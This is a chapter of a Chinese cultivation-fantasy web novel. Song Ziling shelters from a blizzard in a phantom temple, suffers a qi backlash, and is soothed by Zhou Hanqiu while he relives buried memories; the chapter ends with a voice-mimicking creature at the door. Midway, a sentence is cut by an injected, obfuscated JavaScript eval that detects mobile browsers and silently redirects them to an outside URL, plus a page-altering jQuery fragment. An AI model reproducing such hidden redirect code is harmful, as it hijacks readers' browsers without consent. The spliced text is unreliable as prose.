若放在寻常,宋恣灵是决计不会做出这样冲动的举措来的。
茫茫的雪原上忽然刮起一阵妖风,活生生要逼死她似的,却偏偏怎么也不肯她昏过去,在她意识将尽的时候,凭空出现了这么一座破庙,门扉大开,赤/裸裸地展示自己的阴谋诡计。
宋恣灵毫不犹豫地跳进了这个陷阱。
这座庙虽是凭空出现,但却也实实在在能够摸得着,与其待在外头被冻死,还不如进去搏一搏,万一还能有条生路呢?
不过就算死在里头也无所谓了,能够在转瞬之间在一片荒地上“构造”出如此庞大的建筑,也非是寻常人可以做到的,莫非她真的就这样走运,误打误撞碰见了所谓的司海之神?那她的面子还怪不小的,先是那个传说飞升成神的沈断云,又是现在这劳什子司海神,如今还被当世修真界黑白两道加鲛人屿一块儿追杀,哈,普通人哪儿能在几日之间惹得这么多神仙人物关注?
她这经历,就算是折在此地了,也能说是不枉此生了。说不定还能留名千古呢。
宋恣灵一面腾出心思胡七八糟地自嘲自宽,一面撑着快冻成冰雕的身子往破庙里挪。
这其实是个很漫长的过程,滋味亦很难言说,她大半身子都失去了知觉,全身上下又冷又热,难受得要命,有时她以为又过了二十年那么长了,实则也就挪动了不到一寸。
这鬼地方,白天的时间漫长,夜晚的时间也很漫长,黑漆漆的一片,只有一轮幽月悬在天上,依旧看不清轮廓,比白日里要微弱百倍的光打到她身上,如天的眼睛,高高在上地注视着垂死挣扎的蝼蚁。
蝼蚁不知挣扎了多久,终于将整个人都挪进了破庙。
巍峨的门嘎吱嘎吱地合上,将咆哮的风雪挡在了外面。
耳畔的风声远去了,宋恣灵蜷在角落里,缓了好一会儿,终于费劲巴拉地张开了眼皮。她看着空空荡荡的殿堂,迟钝地眨了眨眼,才后知后觉地意识到,此地只是空有一副庙宇的壳子,里头却是空荡荡的一片,什么佛像神像都没有,唯有中央放了一方供桌,四周对称摆着几道精致漂亮的烛台,除此之外再无其他,实在看不出庙宇的模样。
宋恣灵倒是无所谓,这地方着实暖和。修士的体魄不像凡人那般虚弱,且那风雪中也没有额外的术法加持,只是凡间的四时气象,虽然碰上了能要她的命,但避开了,也不会对她造成太大的伤害,用灵力调理片刻,很快就能好了。
既来之则安之。一时半刻她也出不了这地方,宋恣灵索性扔了外界所有纷乱的杂念,静心打起坐来。
修士打坐是要耗费灵力的,自从朱雀台一事后,她就鲜少打坐了。百鬼崖都是恶鬼,成天就是耳语骚扰,再加上她当时忧伤过度,根本沉不下心打坐,后来出了百鬼崖,灵力经脉全被剔得一干二净,就凭她那个筛子一样的体质,打坐简直是比拿着金子在大街上到处撒还要不计成本,再后来好不容易能够存住灵力了,又被扣上好大一顶黑锅,逃命养伤都来不及,平日里还要应付周寒秋,根本抽不出时间。
所以打坐该如何打来着?
宋恣灵调息了半刻,顿住了。
多少年没做的事了,如今已是忘个精光。
“静心凝神,摒除杂念,将气息沉入丹田……”
耳畔不合时宜地响起颜玄的声音,宋恣灵本想唾弃一下自己又沉溺在往事中,周身的灵力却循着记忆里的方式运转起来,颇有丧权辱国之态。
丧权辱国的宋恣灵一咬牙,决计先摒弃心中杂念,且让这一回。
整个人像是坠入温暖柔润的虚幻之中,又像是被托在浩瀚无边的水面之上,随着温和的水波上下浮动,然后又被抛入云端,却没有下落,而是被风举着飘飘扬扬。
是朝生暮死的蜉蝣,是零落凋零的枯叶,是戏水的鱼群,是远迁的群鸟。
只有片刻喜乐,而苦痛远离。
然而下一刻。
庙中安然静坐的宋恣灵眉宇间泛起一丝褶皱。
紧接着,周寒秋便感觉到宋恣灵的经脉在异常地搏动,诡异的金光在她周身流动,又极具抗拒性,周寒秋想要出手安抚,却被结结实实挡了回来。
只觉喉间一甜,一口腥红的鲜血骤然涌出,将两人的衣袍污了个彻底。
随后,宋恣灵亦是一口鲜血喷涌而出,略深的血色依旧四溅,又将二人的衣袍弄得更加不堪入目。
周寒秋不再妄动,他卸了灵力,心道一声“冒犯”,将手搭在了宋恣灵的腕子上。那样骨瘦伶仃的腕子,他前几日探来都觉得虚弱到与将死之人无异,今日却强劲地可怕,一下一下卖力地搏动着。
“扑通”“扑通”。
若是旁人,周寒秋决计不会认为这中有异。可这是宋恣灵,身上缠着那么多的病,她的脉象,是根本不可能在一朝一夕内就出现这样康健到透着诡异的情况的!
除非是灵力暴动。
有些身子骨弱的修士修为进阶时,经脉一时无法承受住过于强悍的灵力,会出现灵力暴走流窜全身的状况,而这只是开始。先是灵力逆流流窜全身,若压不住,接着就是暴动的灵力震碎经脉丹田,更有甚者,会直接走火入魔,成为无知无觉的傻子。这样的傻子简直是做杀器的最好材料,痴儿一个,灵力又不低,一心只认死理,跟了谁便认定谁做主人,说什么做什么,比死士还要忠心,乖巧得很。
曾有心术不正者为了做这样的杀器,专在凡间挑那些几无根骨的凡人孩子,从小就用禁术养着,升境界也升得极快,不到二十岁就能达到寻常修士苦修四五十年的成就,然后几道天雷劈下来,再撤了加在他们身上的禁术,不出一月,就能炼制出一个乖巧听话的傀儡。
此举有违天道,实在阴毒狠辣,无论是仙门还是魔宗都视之为禁忌之术,而行此术者及其傀儡,也早就在几百年前被处决了。
不过坊间还有一个传闻,说那些傀儡当中,也有那么几个没来得及傻的,闻到风声后就悄悄跑了。
至于是真是假,世人就不得而知了。
周寒秋看着宋恣灵痛苦不堪的模样,抿了抿唇。
宋恣灵被卡在混沌之中,眼睁不开,身动不了,只觉得丹田处火似的燎着,随后顺着她的经脉游至全身,好似要胀破她的肉身。
她想要喊疼,可嘴也张不开,只能一直拧着眉,拼命地调动灵力企图压制狂窜在经脉中的东西。
然而神智却越发清明。
冷香萦绕在她鼻息间,她几乎是猛吸了口气,晶莹的泪珠就从眼角滚了下来。
今夕是何夕?
不同与熏香的冷冽,那人的灵力却是如春日的泉水一般,凉而不冷,恰恰好,是很令人舒适的温度,从她的十指处钻入,然后流进四肢百骸,一遍一遍地安抚那些暴乱的灵流,直到偃旗息鼓。
年少的宋唯谨恃宠而骄,最喜爱趁着外人不在的时候,肆无忌惮地将头枕在自家师尊的腿上,然后把玩着那如雪一般的头发,还要一边嚷嚷着,自己以后也要当好看的白发仙人,像师尊一样,做修真界最漂亮的仙人。待到玩够了,宋唯谨才心满意足地起身,然后巴巴地看着自家师尊,得寸进尺地问“师尊我会不会压麻您了”“师尊我下次肯定不会这样了您会信我的吧”云云。
颜玄则会无奈地笑笑,答“没事”“我信”“下次其实还可以这样做”。
破庙里,宋恣灵枕在周寒秋的腿上,她此刻的灵力已经恢复正常了,身上的热气也褪了不少,周寒秋又给她喂了灵药,伤口也好得差不多,至于庙外,朦胧的月亮彻底隐到阴云中,轰隆作响的劫雷不停地往下劈。
然而雷一劈到破庙出,就有一道更为醒目的银光径直上窜,“砰”的一声,轻轻松松就消弥了来势汹汹的劫雷。
金丹期修士的升阶劫雷一共九道,基本上不会要人命,而这样的劫雷对于渡劫期修士来说,不过是抬抬手的事,比那鲛人胎要好对付多了。
宋恣灵仍安眠着,不知梦到了什么,她蝶翼似的眼睫动了动,口中又吐出些许呢喃。而周寒秋正人君子般身子板正地坐着,动也不动,好似腿上的不是个人,而是个晃一下就要泼出水的碗。
此时的画面叫旁人看来,着实是有些诡异的。
恰好第九道天雷结束,鬼使神差地,周寒秋低头看了一眼宋恣灵。
随后便恍惚了一瞬。
魂魄深处传来难以言喻的痛楚,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16651273|187698||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像被活生生地敲碎,然后被粗糙地黏连在一起,头不是头,手不是手,接着又被撕裂,再次黏连,再被敲碎、被撕裂……如此重复了千千万万次。每一次,他的肢体与器官都在不同的地方,以各种怪异的姿态看着周遭腥腐血红的一片,听着耳畔无休无止的哭声。
这是他早就忘了的记忆。
空空荡荡的庙宇中,烛火不成规律地跃动着,周寒秋猝然瞪大双眼,额角手上的青筋恐怖地凸起,全然失了仙风道骨的姿态。
“阿玄呐,师兄知道这对你不公平……”
“这件事没有谁比你更适合了。”
“……师尊他老人家的遗愿便是如此。”
“颜师兄,你且放心,小谨她,我定会替你照顾好的。”
“为什么丢下我?!”
“我恨你!”
“我恨你!”
“我恨你!”
谁又在讲话?周寒秋的手骤然收紧。最后的话是谁在讲?怎么会这般绝望而难过呢?
仙人并非无情,那样滔天的恨意,他怎会感知不出来?
是谁?
他想起那个名字。宋唯谨。
他可怜的徒弟,被颜玄逼死的徒弟。
何言仙那时怎么说来着,自戕。才十三岁,就因那个叫颜玄的人死了,那样年轻,分明应该有大好的年华才对,怎么就自戕了呢?他依稀记得,她其实拜入他门下也没多久,全身都是病,骨瘦如柴的,也比同龄人要矮小,她短暂的人生中,好像就没过过多少好日子。
怎么就轻飘飘地死了呢?
“我恨你。”
“我当亲手杀你。”
又是低低的一声。
周寒秋一愣。
他理当是脱离心魔幻象了的,但怨毒的诅咒声依旧不断,这时他才反应过来,不是幻象中的怨语,而是枕在他腿上的人,已经从孩童抽条长成了成年女子的模样,却又陷在梦魇中,一遍又一遍无助而崩溃地重复着。
他今日做了许多失礼的举动,譬如将手放到宋恣灵的背上,循着稀薄的记忆残片一下一下拍着,哄孩子似的安抚。他不知道这方法对成人有没有用处,只是依着习惯去做,毕竟好像也就只会这个了。
但宋恣灵极好安抚,竟真的不再梦呓,身子也不再无措地发抖。
“咚咚。”
外头传来了敲门声。
“咚咚。”
宋恣灵扶着快炸了的头颅,从点满烛火的殿中醒来。
那敲门声再次响起,不依不挠地一直敲着,动作也愈发狂躁,似乎极为确信里头有人,大有再不开门就直接动粗踹开的架势。
这鬼地方怎么可能还有除她以外的第二个人啊!想也不用想来者不善。
其实要她的命可以直接取,没必要一直逗她玩的。
地上的血迹斑斑驳驳,宋恣灵瞥了一眼,随后在殿中随意溜达了两圈,挑了个趁手的烛台掂了掂,随后点了点头,握剑一样握着烛台往门口靠。
她凑近了大门。
“里面有人吗,行行好,外面太冷了,求您开开门吧。”出乎意料地,是个老妇人的声音,听着还怪手无缚鸡之力的。
这骗子也太粗制滥造了些,谁家好人老妇能有力壮如牛恨不得拆门而入的架势啊!
这就是司海神吗,难以置信。
听里头没人答话,外头的声音又换成了十三四岁的女童,夹着尖尖细细的嗓子哀求:“好姐姐,求您开开门吧,我要被冻坏了,呜呜。”
更假了。音色换成小姑娘的但语气还是老妇人的不说,还知道她是个女人,连面都没见上。
“求您了,求您了。”
又换成了各类男男女女,亦是有老有少,此起彼伏。更为诡异的是,宋恣灵听他们的声音,越发觉得耳熟,总觉得在哪处听过。
正当宋恣灵要不耐烦的时候,殿内忽然发出金属碰撞的脆响,宋恣灵抬眼去看,白练骤然散开,径直向她卷来!
与此同时,沉重的大门猛然向外打开,大片大片的桃花如蜂蝶般疯狂涌入,浓郁到令人作呕的香气扑面而来——
“嘻嘻嘻,多谢开门多谢开门!”